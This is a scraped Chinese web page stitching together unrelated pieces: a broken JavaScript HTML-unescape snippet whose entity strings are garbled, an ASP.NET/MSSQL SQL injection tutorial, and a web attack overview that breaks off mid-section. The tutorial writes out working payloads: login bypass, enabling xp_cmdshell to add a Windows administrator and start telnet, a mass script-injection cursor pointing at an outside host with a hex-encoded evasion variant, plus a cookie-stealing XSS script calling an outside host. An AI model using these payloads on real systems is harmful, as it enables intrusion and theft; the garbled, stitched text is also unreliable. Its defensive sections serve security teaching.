整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

碎片时间学编程「112]:转义 HTML


转义的 HTML 字符进行转义。

  • 使用String.prototype.replace()方法与匹配需要转义的字符的正则表达式一起使用。
  • 使用函数的回调,使用字典(对象)将每个转义字符实例替换为其关联的非转义字符。

JavaScript

const unescapeHTML = str =>
  str.replace(
    /&|<|>|'|"/g,
    tag =>
      ({
        '&': '&',
        '<': '<',
        '>': '>',
        ''': "'",
        '"': '"'
      }[tag] || tag)
  );

示例代码:

unescapeHTML('<a href="#">Me & you</a>');
// '<a href="#">Me & you</a>'

更多内容请访问我的网站:https://www.icoderoad.com

业开始从事winform到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入的相关知识整理了下,希望大家多多提意见。

(对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉地犯下大错,专门查看大量前辈们的心得,这方面的资料颇多,将其精简出自己觉得重要的,就成了该文)


下面的程序方案是采用 ASP.NET + MSSQL,其他技术在设置上会有少许不同。

示例程序下载:SQL注入攻防入门详解_示例


什么是SQL注入(SQL Injection)

所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。


尝尝SQL注入

1. 一个简单的登录页面

关键代码:(详细见下载的示例代码)


private bool NoProtectLogin(string userName, string password)

{

int count = (int)SqlHelper.Instance.ExecuteScalar(string.Format

("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password));

return count > 0 ? true : false;

}


方法中userName和 password 是没有经过任何处理,直接拿前端传入的数据,这样拼接的SQL会存在注入漏洞。(账户:admin 123456)


1) 输入正常数据,效果如图:

合并的SQL为:

SELECT COUNT(*) FROM Login WHERE UserName='admin' AND Password='123456'


2) 输入注入数据:

如图,即用户名为:用户名:admin’—,密码可随便输入

合并的SQL为:

SELECT COUNT(*) FROM Login WHERE UserName='admin'-- Password='123'

因为UserName值中输入了“--”注释符,后面语句被省略而登录成功。(常常的手法:前面加上'; ' (分号,用于结束前一条语句),后边加上'--' (用于注释后边的语句))


2. 上面是最简单的一种SQL注入,常见的注入语句还有:

1) 猜测数据库名,备份数据库

a) 猜测数据库名: and db_name() >0 或系统表master.dbo.sysdatabases

b) 备份数据库:;backup database 数据库名 to disk = ‘c:\*.db’;--

或:declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';--

2) 猜解字段名称

a) 拆解法:and (select count(字段名) from 表名)>0 若“字段名”存在,则返回正常

b) 读取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0 把col_name(object_id('表名'),1)中的1依次换成2,3,4,5,6…就可以得到所有的字段名称。

3) 遍历系统的目录结构,分析结构并发现WEB虚拟目录(服务器上传木马)

先创建一个临时表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

a) 利用xp_availablemedia来获得当前所有驱动器,并存入temp表中

;insert temp exec master.dbo.xp_availablemedia;--

b) 利用xp_subdirs获得子目录列表,并存入temp表中

;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--

c) 利用xp_dirtree可以获得“所有”子目录的目录树结构,并存入temp表中

;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (实验成功)

d) 利用 bcp 命令将表内容导成文件

即插入木马文本,然后导出存为文件。比如导出为asp文件,然后通过浏览器访问该文件并执行恶意脚本。(使用该命令必须启动’ xp_cmdshell’)

Exec master..xp_cmdshell N'BCP "select * from SchoolMarket.dbo.GoodsStoreData;" queryout c:/inetpub/wwwroot/runcommand.asp -w -S"localhost" -U"sa" -P"123"'

(注意:语句中使用的是双引号,另外表名格式为“数据库名.用户名.表名”)

在sql查询器中通过语句:Exec master..xp_cmdshell N'BCP’即可查看BCP相关参数,如图:

4) 查询当前用户的数据库权限

MSSQL中一共存在8种权限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

可通过1=(select IS_SRVROLEMEMBER('sysadmin'))得到当前用户是否具有该权限。

5) 设置新的数据库帐户(得到MSSQL管理员账户)

d) 在数据库内添加一个hax用户,默认密码是空的

;exec sp_addlogin'hax';--

e) 给hax设置密码 (null是旧密码,password是新密码,user是用户名)

;exec master.dbo.sp_password null,password,username;--

f) 将hax添加到sysadmin组

;exec master.dbo.sp_addsrvrolemember 'hax' ,'sysadmin';--

6) xp_cmdshell MSSQL存储过程(得到 WINDOWS管理员账户 )

通过(5)获取到sysadmin权限的帐户后,使用查询分析器连接到数据库,可通过xp_cmdshell运行系统命令行(必须是sysadmin权限),即使用 cmd.exe 工具,可以做什么自己多了解下。

下面我们使用xp_cmdshell来创建一个 Windows 用户,并开启远程登录服务:

a) 判断xp_cmdshell扩展存储过程是否存在

SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell'

b) 恢复xp_cmdshell扩展存储过程

Exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';

开启后使用xp_cmdshell还会报下面错误:

SQL Server 阻止了对组件 'xp_cmdshell' 的过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'xp_cmdshell'。有关启用'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

通过执行下面的语句进行设置:

-- 允许配置高级选项

EXEC sp_configure 'show advanced options', 1

GO

-- 重新配置

RECONFIGURE

GO

-- 启用xp_cmdshell

EXEC sp_configure 'xp_cmdshell', 0

GO

--重新配置

RECONFIGURE

GO

c) 禁用xp_cmdshell扩展存储过程

Exec master.dbo.sp_dropextendedproc 'xp_cmdshell';

d) 添加windows用户:

Exec xp_cmdshell 'net user awen /add';

e) 设置好密码:

Exec xp_cmdshell 'net user awen password';

f) 提升到管理人员:

Exec xp_cmdshell 'net localgroup administrators awen /add';

g) 开启telnet服务:

Exec xp_cmdshell 'net start tlntsvr'

7) 没有xp_cmdshell扩展程序,也可创建Windows帐户的办法.

(本人windows7系统,测试下面SQL语句木有效果)

declare @shell int ;

execsp_OAcreate 'w script .shell',@shell output ;

execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen /add';

execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen 123';

execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net localgroup administrators awen /add';

在使用的时候会报如下错:

SQL Server 阻止了对组件 'Ole Automation Procedures' 的过程 'sys.sp_OACreate'、'sys.sp_OAMethod' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'Ole Automation Procedures'。有关启用 'Ole Automation Procedures' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

解决办法:

sp_configure 'show advanced options', 1;

GO

RECONFIGURE;

GO

sp_configure 'Ole Automation Procedures', 1;

GO

RECONFIGURE;

GO

好了,这样别人可以登录你的服务器了,你怎么看?

8) 客户端脚本攻击

攻击1:(正常输入)攻击者通过正常的输入提交方式将恶意脚本提交到数据库中,当其他用户浏览此内容时就会受到恶意脚本的攻击。

措施:转义提交的内容,.NET 中可通过System.Net.WebUtility.HtmlEncode(string) 方法将字符串转换为HTML编码的字符串。


攻击2:(SQL注入)攻击者通过SQL注入方式将恶意脚本提交到数据库中,直接使用SQL语法UPDATE数据库,为了跳过System.Net.WebUtility.HtmlEncode(string) 转义,攻击者会将注入SQL经过“HEX编码”,然后通过exec可以执行“动态”SQL的特性运行脚本”。

参考:

注入:SQL注入案例曝光,请大家提高警惕

恢复:批量清除数据库中被植入的js

示例代码:(可在示例附带的数据库测试)

a) 向当前数据库的每个表的每个字段插入一段恶意脚本


1

2

3

4

5

6

7

8

9

10

11

12

13

Declare @T Varchar(255),@C Varchar(255)

Declare Table_Cursor Cursor For

Select A.Name,B.Name

From SysobjectsA,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)

Open Table_Cursor

Fetch Next From Table_Cursor Into @T,@C

While(@@Fetch_Status=0)

Begin

Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<script src=http://8f8el3l.cn/0.js></script>''')

Fetch Next From Table_Cursor Into @T,@C

End

Close Table_Cursor

DeallocateTable_Cursor


b) 更高级的攻击,将上面的注入SQL进行“HEX编码”,从而避免程序的关键字检查、脚本转义等,通过EXEC执行


dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72;

eXeC(@s);--


c) 批次删除数据库被注入的脚本


declare @delStrnvarchar(500)

set @delStr='<script src=http://8f8el3l.cn/0.js></script>' --要被替换掉字符

setnocount on

declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint

declare @sqlnvarchar(500)

set @iResult=0

declare cur cursor for

selectname,id from sysobjects where xtype='U'

open cur

fetch next from cur into @tableName,@tbID

while @@fetch_status=0

begin

declare cur1 cursor for

--xtype in (231,167,239,175) 为char,varchar,nchar,nvarchar类型

select name from syscolumns where xtype in (231,167,239,175) and id=@tbID

open cur1

fetch next from cur1 into @columnName

while @@fetch_status=0

begin

set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''

execsp_executesql @sql

set @iRow=@@rowcount

set @iResult=@iResult+@iRow

if @iRow>0

begin

print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'条记录;'

end

fetch next from cur1 into @columnName

end

close cur1

deallocate cur1

fetch next from cur into @tableName,@tbID

end

print '数据库共有'+convert(varchar(10),@iResult)+'条记录被更新!!!'

close cur

deallocate cur

setnocount off


d) 我如何得到“HEX编码”?

开始不知道HEX是什么东西,后面查了是“十六进制”,网上已经给出两种转换方式:(注意转换的时候不要加入十六进制的标示符 ’0x’ )

Ø 在线转换 (TRANSLATOR, BINARY),进入……

Ø C#版的转换,进入……

9) 对于敏感词过滤不到位的检查,我们可以结合函数构造SQL注入

比如过滤了update,却没有过滤declare、exec等关键词,我们可以使用reverse来将倒序的sql进行注入:


declare @A varchar(200);set @A=reverse('''58803303431''=emanresu erehw ''9d4d9c1ac9814f08''=drowssaP tes xxx tadpu');


防止SQL注入

1. 数据库权限控制,只给访问数据库的web应用功能所需的最低权限帐户。

如MSSQL中一共存在8种权限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

2. 自定义错误信息,首先我们要屏蔽服务器的详细错误信息传到客户端。

在 ASP.NET 中,可通过web.config配置文件的<customErrors>节点设置:


<customErrors defaultRedirect="url" mode="On|Off|RemoteOnly">

<error. . ./>

</customErrors>


更详细,请进入……

mode:指定是启用或禁用自定义错误,还是仅向远程客户端显示自定义错误。


On

指定启用自定义错误。如果未指定defaultRedirect,用户将看到一般性错误。


Off

指定禁用自定义错误。这允许显示标准的详细错误。


RemoteOnly

指定仅向远程客户端显示自定义错误并且向本地主机显示ASP.NET 错误。这是默认值。


看下效果图:

设置为<customErrors mode="On">一般性错误:


设置为<customErrors mode="Off">:


3. 把危险的和不必要的存储过程删除

xp_:扩展存储过程的前缀,SQL注入攻击得手之后,攻击者往往会通过执行xp_cmdshell之类的扩展存储过程,获取系统信息,甚至控制、破坏系统。


xp_cmdshell

能执行dos命令,通过语句sp_dropextendedproc删除,

不过依然可以通过sp_addextendedproc来恢复,因此最好删除或改名xplog70.dll(sql server 2000、windows7)

xpsql70.dll(sqlserer 7.0)


xp_fileexist

用来确定一个文件是否存在


xp_getfiledetails

可以获得文件详细资料


xp_dirtree

可以展开你需要了解的目录,获得所有目录深度


Xp_getnetname

可以获得服务器名称


Xp_regaddmultistring

Xp_regdeletekey

Xp_regdeletevalue

Xp_regenumvalues

Xp_regread

Xp_regremovemultistring

Xp_regwrite

可以访问注册表的存储过程


Sp_OACreate

Sp_OADestroy

Sp_OAGetErrorInfo

Sp_OAGetProperty

Sp_OAMethod

Sp_OASetProperty

Sp_OAStop

如果你不需要请丢弃OLE自动存储过程


4. 非参数化SQL与参数化SQL

1) 非参数化(动态拼接SQL)

a) 检查客户端脚本:若使用.net,直接用System.Net.WebUtility.HtmlEncode(string)将输入值中包含的《HTML特殊转义字符》转换掉。

b) 类型检查:对接收数据有明确要求的,在方法内进行类型验证。如数值型用int.TryParse(),日期型用DateTime.TryParse() ,只能用英文或数字等。

c) 长度验证:要进行必要的注入,其语句也是有长度的。所以如果你原本只允许输入10字符,那么严格控制10个字符长度,一些注入语句就没办法进行。

d) 使用枚举:如果只有有限的几个值,就用枚举。

e) 关键字过滤:这个门槛比较高,因为各个数据库存在关键字,内置函数的差异,所以对编写此函数的功底要求较高。如公司或个人有积累一个比较好的通用过滤函数还请留言分享下,学习学习,谢谢!

这边提供一个关键字过滤参考方案(MSSQL):


public static bool ValiParms(string parms)

{

if (parms == null)

{

return false;

}

Regex regex = new Regex("sp_", RegexOptions.IgnoreCase);

Regex regex2 = new Regex("'", RegexOptions.IgnoreCase);

Regex regex3 = new Regex("create ", RegexOptions.IgnoreCase);

Regex regex4 = new Regex("drop ", RegexOptions.IgnoreCase);

Regex regex5 = new Regex("\"", RegexOptions.IgnoreCase);

Regex regex6 = new Regex("exec ", RegexOptions.IgnoreCase);

Regex regex7 = new Regex("xp_", RegexOptions.IgnoreCase);

Regex regex8 = new Regex("insert ", RegexOptions.IgnoreCase);

Regex regex9 = new Regex("delete ", RegexOptions.IgnoreCase);

Regex regex10 = new Regex("select ", RegexOptions.IgnoreCase);

Regex regex11 = new Regex("update ", RegexOptions.IgnoreCase);

return (regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms))))))))))));

}


优点:写法相对简单,网络传输量相对参数化拼接SQL小

缺点:

a) 对于关键字过滤,常常“顾此失彼”,如漏掉关键字,系统函数,对于HEX编码的SQL语句没办法识别等等,并且需要针对各个数据库封装函数。

b) 无法满足需求:用户本来就想发表包含这些过滤字符的数据。

c) 执行拼接的SQL浪费大量缓存空间来存储只用一次的查询计划。服务器的物理内存有限,SQLServer的缓存空间也有限。有限的空间应该被充分利用。

2) 参数化查询(Parameterized Query)

a) 检查客户端脚本,类型检查,长度验证,使用枚举,明确的关键字过滤这些操作也是需要的。他们能尽早检查出数据的有效性。

b) 参数化查询原理:在使用参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的一部份来处理,而是在数据库完成 SQL 指令的编译后,才套用参数运行,因此就算参数中含有具有损的指令,也不会被数据库所运行。

c) 所以在实际开发中,入口处的安全检查是必要的,参数化查询应作为最后一道安全防线。

优点:

Ø 防止SQL注入(使单引号、分号、注释符、xp_扩展函数、拼接SQL语句、EXEC、SELECT、UPDATE、DELETE等SQL指令无效化)

Ø 参数化查询能强制执行类型和长度检查。

Ø 在MSSQL中生成并重用查询计划,从而提高查询效率(执行一条SQL语句,其生成查询计划将消耗大于50%的时间)

缺点:

Ø 不是所有数据库都支持参数化查询。目前Access、SQL Server、MySQL、SQLite、Oracle等常用数据库支持参数化查询。


疑问:参数化如何“批量更新”数据库。

a) 通过在参数名上增加一个计数来区分开多个参数化语句拼接中的同名参数。

EG:



StringBuilder sqlBuilder=new StringBuilder(512);

Int count=0;

For(循环)

{

sqlBuilder.AppendFormat(“UPDATE login SET password=@password{0} WHERE username=@userName{0}”,count.ToString());

SqlParameter para=new SqlParamter(){ParameterName=@password+count.ToString()}

……

Count++;

}


b) 通过MSSQL 2008的新特性:表值参数,将C#中的整个表当参数传递给存储过程,由SQL做逻辑处理。注意C#中参数设置parameter.SqlDbType = System.Data.SqlDbType.Structured; 详细请查看……


疑虑:有部份的开发人员可能会认为使用参数化查询,会让程序更不好维护,或者在实现部份功能上会非常不便,然而,使用参数化查询造成的额外开发成本,通常都远低于因为SQL注入攻击漏洞被发现而遭受攻击,所造成的重大损失。


另外:想验证重用查询计划的同学,可以使用下面两段辅助语法



--清空缓存的查询计划

DBCC FREEPROCCACHE

GO

--查询缓存的查询计划

SELECT stats.execution_count AS cnt, p.size_in_bytes AS [size], [sql].[text] AS [plan_text]

FROM sys.dm_exec_cached_plans p

OUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sql

JOIN sys.dm_exec_query_stats stats ON stats.plan_handle = p.plan_handle

GO


3) 参数化查询示例

效果如图:

参数化关键代码:



Private bool ProtectLogin(string userName, string password)

{

SqlParameter[] parameters = new SqlParameter[]

{

new SqlParameter{ParameterName="@UserName",SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName},

new SqlParameter{ParameterName="@Password",SqlDbType=SqlDbType.VarChar,Size=20,Value=password}

};

int count = (int)SqlHelper.Instance.ExecuteScalar

("SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password", parameters);

return count > 0 ? true : false;

}


5. 存储过程

存储过程(Stored Procedure)是在大型数据库系统中,一组为了完成特定功能的SQL 语句集,经编译后存储在数据库中,用户通过指定存储过程的名字并给出参数(如果该存储过程带有参数)来执行它。

优点:

a) 安全性高,防止SQL注入并且可设定只有某些用户才能使用指定存储过程。

b) 在创建时进行预编译,后续的调用不需再重新编译。

c) 可以降低网络的通信量。存储过程方案中用传递存储过程名来代替SQL语句。

缺点:

a) 非应用程序内联代码,调式麻烦。

b) 修改麻烦,因为要不断的切换开发工具。(不过也有好的一面,一些易变动的规则做到存储过程中,如变动就不需要重新编译应用程序)

c) 如果在一个程序系统中大量的使用存储过程,到程序交付使用的时候随着用户需求的增加会导致数据结构的变化,接着就是系统的相关问题了,最后如果用户想维护该系统可以说是很难很难(eg:没有VS的查询功能)。

演示请下载示例程序,关键代码为:


cmd.CommandText = procName; // 传递存储过程名

cmd.CommandType = CommandType.StoredProcedure; // 标识解析为存储过程


如果在存储过程中SQL语法很复杂需要根据逻辑进行拼接,这时是否还具有放注入的功能?

答:MSSQL中可以通过 EXEC 和sp_executesql动态执行拼接的sql语句,但sp_executesql支持替换 Transact-SQL 字符串中指定的任何参数值, EXECUTE 语句不支持。所以只有使用sp_executesql方式才能启到参数化防止SQL注入。

关键代码:(详细见示例)

a) sp_executesql



CREATE PROCEDURE PROC_Login_executesql(

@userNamenvarchar(10),

@password nvarchar(10),

@count int OUTPUT

)

AS

BEGIN

DECLARE @s nvarchar(1000);

set @s=N'SELECT @count=COUNT(*) FROM Login WHERE UserName=@userName AND Password=@password';

EXEC sp_executesql @s,N'@userName nvarchar(10),@password nvarchar(10),@count int output',@userName=@userName,@password=@password,@count=@count output

END


b) EXECUTE(注意sql中拼接字符,对于字符参数需要额外包一层单引号,需要输入两个单引号来标识sql中的一个单引号)



CREATE PROCEDURE PROC_Login_EXEC(

@userNamenvarchar(10),

@password varchar(20)

)

AS

BEGIN

DECLARE @s nvarchar(1000);

set @s='SELECT @count=COUNT(*) FROM Login WHERE UserName='''+CAST(@userName AS NVARCHAR(10))+''' AND Password='''+CAST(@password AS VARCHAR(20))+'''';

EXEC('DECLARE @count int;' +@s+'select @count');

END


注入截图如下:



6. 专业的SQL注入工具及防毒软件

情景1

A:“丫的,又中毒了……”

B:“我看看,你这不是裸机在跑吗?”

电脑上至少也要装一款杀毒软件或木马扫描软件,这样可以避免一些常见的侵入。比如开篇提到的SQL创建windows帐户,就会立马报出警报。


情景2

A:“终于把网站做好了,太完美了,已经检查过没有漏洞了!”

A:“网站怎么被黑了,怎么入侵的???”

公司或个人有财力的话还是有必要购买一款专业SQL注入工具来验证下自己的网站,这些工具毕竟是专业的安全人员研发,在安全领域都有自己的独到之处。SQL注入工具介绍:10个SQL注入工具


7. 额外小知识:LIKE中的通配符

尽管这个不属于SQL注入,但是其被恶意使用的方式是和SQL注入类似的。

参考:SQL中通配符的使用


%

包含零个或多个字符的任意字符串。


_

任何单个字符。


[]

指定范围(例如 [a-f])或集合(例如 [abcdef])内的任何单个字符。


[^]

不在指定范围(例如 [^a - f])或集合(例如 [^abcdef])内的任何单个字符。


在模糊查询LIKE中,对于输入数据中的通配符必须转义,否则会造成客户想查询包含这些特殊字符的数据时,这些特殊字符却被解析为通配符。不与 LIKE 一同使用的通配符将解释为常量而非模式。

注意使用通配符的索引性能问题:

a) like的第一个字符是'%'或'_'时,为未知字符不会使用索引, sql会遍历全表。

b) 若通配符放在已知字符后面,会使用索引。

网上有这样的说法,不过我在MSSQL中使用 ctrl+L 执行语法查看索引使用情况却都没有使用索引,可能在别的数据库中会使用到索引吧……

截图如下:

有两种将通配符转义为普通字符的方法:

1) 使用ESCAPE关键字定义转义符(通用)

在模式中,当转义符置于通配符之前时,该通配符就解释为普通字符。例如,要搜索在任意位置包含字符串 5% 的字符串,请使用:

WHERE ColumnA LIKE '%5/%%' ESCAPE '/'

2) 在方括号 ([ ]) 中只包含通配符本身,或要搜索破折号 (-) 而不是用它指定搜索范围,请将破折号指定为方括号内的第一个字符。EG:


符号

含义


LIKE '5[%]'

5%


LIKE '5%'

5 后跟 0 个或多个字符的字符串


LIKE '[_]n'

_n


LIKE '_n'

an, in, on (and so on)


LIKE '[a-cdf]'

a、b、c、d 或 f


LIKE '[-acdf]'

-、a、c、d 或 f


LIKE '[ [ ]'

[


LIKE ']'

] (右括号不需要转义)


所以,进行过输入参数的关键字过滤后,还需要做下面转换确保LIKE的正确执行



private static string ConvertSqlForLike(string sql)

{

sql = sql.Replace("[", "[[]"); // 这句话一定要在下面两个语句之前,否则作为转义符的方括号会被当作数据被再次处理

sql = sql.Replace("_", "[_]");

sql = sql.Replace("%", "[%]");

return sql;

}


结束语:感谢你耐心的观看。恭喜你, SQL安全攻防你已经入门了……


参考文献:

SQL注入天书

(百度百科)SQL注入

扩展资料:

Sql Server 编译、重编译与执行计划重用原理

浅析Sql Server参数化查询-----验证了参数的类型和长度对参数化查询影响

Sql Server参数化查询之where in和like实现详解

-----讲述6种参数化实现方案

webshell -----不当小白,你必须认识的专业术语。一个用于站长管理,入侵者入侵的好工具

SQL注入技术和跨站脚本攻击的检测 -----讲解使用正则表达式检测注入

XSS(百度百科) -------恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。

XSS攻击实例 -------基本思路:我们都知道网上很多网站都可以“记住你的用户名和密码”或是“自动登录”,其实是在你的本地设置了一个cookie,这种方式可以让你免去每次都输入用户名和口令的痛苦,但是也带来很大的问题。试想,如果某用户在“自动登录”的状态下,如果你运行了一个程序,这个程序访问“自动登录”这个网站上一些链接、提交一些表单,那么,也就意味着这些程序不需要输入用户名和口令的手动交互就可以和服务器上的程序通话。

Web安全测试之XSS

Web API 入门指南 - 闲话安全

中间人攻击(MITM)姿势总结

浅谈WEB安全性(前端向)

文作者:上海驻云开发总监 陈昂

上篇给大家带来的是关于浏览器基本工作原理的总结和介绍,这篇文章重点给大家说明有哪些常见WEB攻击。

常见WEB攻击

互联网是个面向全世界的开放平台,越是开放的东西漏洞就越是多。有人曾维护了一个列表,上面有上百种的WEB攻击方式。我们常见的有:脚本注入、SQL注入、DDoS、DNS劫持、端口漏洞扫描、密码暴力破解、XSS、CSRF等。这里只挑一些常见的攻击做个介绍:

  • SQL注入

现在的网站很多都不再是纯粹的静态网站,例如一些CMS网站、交易网站、p2p/p2c网站、大型的系统等。 这些网站都选择PHP、.Net、 Java、 ROR、 Python、NodeJS等编程语言搭建网站的后台,也会选择Mysql、 Oracle、SQL Server等数据库来存储数据。SQL注入就是针对的这样的网站发起的攻击。假如有一个列表页面,请求URL是这样的:https://xxx.xxx/list.php?q=finished

通过这个url可以获取这个用户列表下面所有已经完成的订单。那么我们可以猜想这样的页面后端对应的程序是这样写的:$sql = ‘select * from orders where status=\’’ . status. ‘\’ and userId = \‘’ . userId;

语句本身没有什么问题,后面加上了过滤条件userId只能获取这个用户自己的订单。可是,如果我们这样发起请求:https://xxx.xxx/list.php?q=finished‘--

最终拼接后的语句可能就变成了这个样子:select * from orders where status=‘finished’—and userId=’xxxx’;

由于“—”在数据库里面起到的注释作用,所以“and userId=’xxxx’” 这个过滤条件是不会起作用的。这个语句执行的效果就是黑客获取了这个网站所有已经完成的订单数据。

这里只是举一个简单的例子,关于Sql注入,有兴趣的朋友可以google一把。

防范sql注入其实也很简单:

  1. 做好参数检验。

  2. sql传参的地方一定要做sql escape,对sql敏感字符进行转义。

  3. 不要直接拼接字符串。

  • 脚本注入

脚本注入只是个表现形式,例如你的网页中出现了一段莫名的脚本:<script src=”http://hacker.test/hack.js”></script>,这就是一个典型的脚本注入。但是注入的方式就有很多了,有的是直接获取了服务器的权限,修改了网页;有的是利用Sql注入技术注入了脚本;还有的是利用网页交互漏洞注入的脚本。甚至有人开发出了脚本注入漏洞扫描和Sql漏洞注入扫描自动机扫描互联网上的网站漏洞。

利用脚本注入这样的方式,黑客可以做很多很多事情:挂马,修改页面内容,将客户跳转到指定的网站,流量导入,信息收集等。

  • XSS跨站脚本攻击

严格来说XSS应该属于脚本注入的一种方式,只是因为XSS这种方式可以快速轻易的注入脚本而使得它非常流行。举个简单的例子:

有一个网站支持评论和回复,有人在评论框内输入了这么一段脚本:

<script>

var i = document.createElement(‘img’);

i.setAttribute(‘src’, ‘http://attach.com/x.js?c=’+document.cookie);

document.body.appendChild(i);

</script>

提交后,当别人打开这个页面查看这个评论的时候,攻击的网站就获取到了这个人所有cookie信息(包括session id),然后在通过脚本加载cookie后进行所有被攻击者所具有权限的操作。

防范脚本注入和XSS攻击我们应该做到基本工作是:

  1. 服务器只开放必要的端口:如80、443、22等

  2. 参数校验

  3. 页面提交的内容一定要做HTML Escape 转义

  4. URL上提交的内容要做URL Encode 转义

  5. 登录注册入口做好人机识别(验证码等)

  • CSRF跨站请求伪造

很多人对XSS和CSRF是傻傻分不清楚的。首先常见的XSS攻击的对象是网站本身,通过注入网页的方式,获取用户信息。而CSRF就非常聪明了,直接绕过了注入这一步,甚至黑客不需要获取用户的Cookie信息,直奔主题。

CSRF攻击方式早几年并不为大家所熟知,实际上很多网站都存在CSRF的安全漏洞。早在2000年,CSRF这种攻击方式已经由国外的安全人员提出,但在国内,直到2006年才开始被关注。2008年,国内外多个大型社区和交互网站先后爆出CSRF漏洞,如:百度HI、NYTimes.com(纽约时报)、Metafilter(一个大型的BLOG网站)和YouTube等。但直到现在,互联网上的许多站点仍对此毫无防备,以至于安全业界称CSRF为“沉睡的巨人”,其威胁程度由此“美誉”便可见一斑。

那么,我们先来看一下CSRF的攻击原理吧:

如果图中的流程看的不是太明白,那么我们来看一个例子(摘抄自网络):

受害者 Bob 在银行有一笔存款,通过对银行的网站发送请求: http://bank.example/withdraw?account=bob&amount=1000000&for=bob2可以使 Bob 把 1000000 的存款转到 bob2 的账号下。通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该session 的用户 Bob 已经成功登陆。

黑客 Mallory 自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行: http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory但是这个请求来自 Mallory 而非 Bob,他不能通过安全认证,因此该请求不会起作用。这时,Mallory 想到使用 CSRF 的攻击方式,他先自己做一个网站,在网站中放入如下代码:src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory”,并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时,上述 url 就会从 Bob 的浏览器发向银行,而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。

大多数情况下,该请求会失败,因为他要求 Bob 的认证信息。但是,如果 Bob 当时恰巧刚访问他的银行后不久,他的浏览器与银行网站之间的 session 尚未过期,浏览器的cookie 之中含有 Bob 的认证信息。这时,悲剧发生了,这个 url 请求就会得到响应,钱将从 Bob 的账号转移到 Mallory 的账号,而 Bob 当时毫不知情。等以后 Bob 发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。

目前业界服务器端防御CSRF攻击主要有以下几种策略:

  1. 验证HTTP Referer字段

  2. 正确使用GET

  3. 在请求地址中添加token并验证

  4. 在HTTP头中自定义属性并验证。

  5. 表单伪随机数

  • 验证HTTPReferer字段

